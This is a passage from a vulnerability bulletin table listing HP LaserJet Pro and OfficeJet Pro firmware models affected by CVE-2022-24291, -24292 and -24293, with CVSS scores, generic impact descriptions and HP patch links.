N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/818
Product: laserjet_pro_m304-m305_w1a56a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/819
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/820

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/821
Product: laserjet_pro_m304-m305_w1a57a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/822
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/823
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/824

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Product: laserjet_pro_m304-m305_w1a58a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/825
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/826
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/827
Product: laserjet_pro_m304-m305_w1a59a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution.	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/828

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-24291		
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/829
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/830
Product: laserjet_pro_m304-m305_w1a60a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/831
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution.	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/832

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-24292		
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/833
Product: laserjet_pro_m304-m305_w1a63a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/834
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/835
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution.	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/836

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-24293		
Product: laserjet_pro_m304-m305_w1a66a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/837
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/838
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/839
Product: laserjet_pro_m404-m405_93m22a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/840

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			service, or remote code execution. **CVE ID : CVE-2022-24291**		
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/841
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/842
Product: laserjet_pro_m453-m454_w1y40a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/843
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/844

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			service, or remote code execution. **CVE ID : CVE-2022-24292**		
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/845
Product: laserjet_pro_m453-m454_w1y41a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/846
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/847
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/848

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			service, or remote code execution. **CVE ID : CVE-2022-24293**		
Product: laserjet_pro_m453-m454_w1y43a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/849
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/850
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/851
Product: laserjet_pro_m453-m454_w1y44a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information	https://support.hp.com/us-en/document/i	O-HP-LASE-070422/852

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	sh_5950417-5950443-16	
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/853
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/854
Product: laserjet_pro_m453-m454_w1y45a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/855
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/856

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**		
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/857
Product: laserjet_pro_m453-m454_w1y46a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/858
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/859
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/860

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**		
Product: laserjet_pro_m453-m454_w1y47a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/861
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/862
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/863
Product: laserjet_pro_mfp_m428-m429_f_w1a29a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential	https://support.hp.com/us-en/document/i	O-HP-LASE-070422/864

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	sh_5950417-5950443-16	
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/865
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/866
Product: laserjet_pro_mfp_m428-m429_f_w1a30a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/867
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential	https://support.hp.com/us-en/document/i	O-HP-LASE-070422/868

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	sh_5950417-5950443-16	
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/869
Product: laserjet_pro_mfp_m428-m429_f_w1a32a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/870
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/871
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential	https://support.hp.com/us-en/document/i	O-HP-LASE-070422/872

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	sh_5950417-5950443-16	
Product: laserjet_pro_mfp_m428-m429_f_w1a34a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/873
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/874
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/875
Product: laserjet_pro_mfp_m428-m429_f_w1a35a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to	https://support.hp.com/us-en/document/i	O-HP-LASE-070422/876

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	sh_5950417-5950443-16	
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/877
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/878
Product: laserjet_pro_mfp_m428-m429_f_w1a38a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/879
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to	https://support.hp.com/us-en/document/i	O-HP-LASE-070422/880

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	sh_5950417-5950443-16	
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/881
Product: laserjet_pro_mfp_m428-m429_w1a28a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/882
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/883
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to	https://support.hp.com/us-en/document/i	O-HP-LASE-070422/884

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	sh_5950417-5950443-16	
Product: laserjet_pro_mfp_m428-m429_w1a31a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/885
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/886
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/887
Product: laserjet_pro_mfp_m428-m429_w1a33a_firmware					

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/888
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/889
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/890
Product: laserjet_pro_mfp_m478-m479_w1a75a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/891

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/892
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/893
Product: laserjet_pro_mfp_m478-m479_w1a76a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/894
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/895

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/896
Product: laserjet_pro_mfp_m478-m479_w1a77a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/897
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/898
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/899

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Product: laserjet_pro_mfp_m478-m479_w1a78a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/900
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/901
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/902
Product: laserjet_pro_mfp_m478-m479_w1a79a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution.	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/903

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-24291		
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/904
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/905
Product: laserjet_pro_mfp_m478-m479_w1a80a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/906
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution.	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/907

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-24292		
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/908
Product: laserjet_pro_mfp_m478-m479_w1a81a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/909
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/910
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution.	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/911

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-24293		
Product: laserjet_pro_mfp_m478-m479_w1a82a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/912
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/913
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/914
Product: officejet_pro_8210_d9l63a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-OFFI-070422/915

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			service, or remote code execution. **CVE ID : CVE-2022-24291**		
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-OFFI-070422/916
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-OFFI-070422/917
Product: officejet_pro_8210_d9l64a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-OFFI-070422/918
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-OFFI-070422/919

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			service, or remote code execution. **CVE ID : CVE-2022-24292**		
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-OFFI-070422/920
Product: officejet_pro_8210_j3p65a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-OFFI-070422/921
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-OFFI-070422/922
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-OFFI-070422/923

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			service, or remote code execution. **CVE ID : CVE-2022-24293**		
Product: officejet_pro_8210_j3p66a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-OFFI-070422/924
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-OFFI-070422/925
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-OFFI-070422/926
Product: officejet_pro_8210_j3p67a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information	https://support.hp.com/us-en/document/i	O-HP-OFFI-070422/927

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
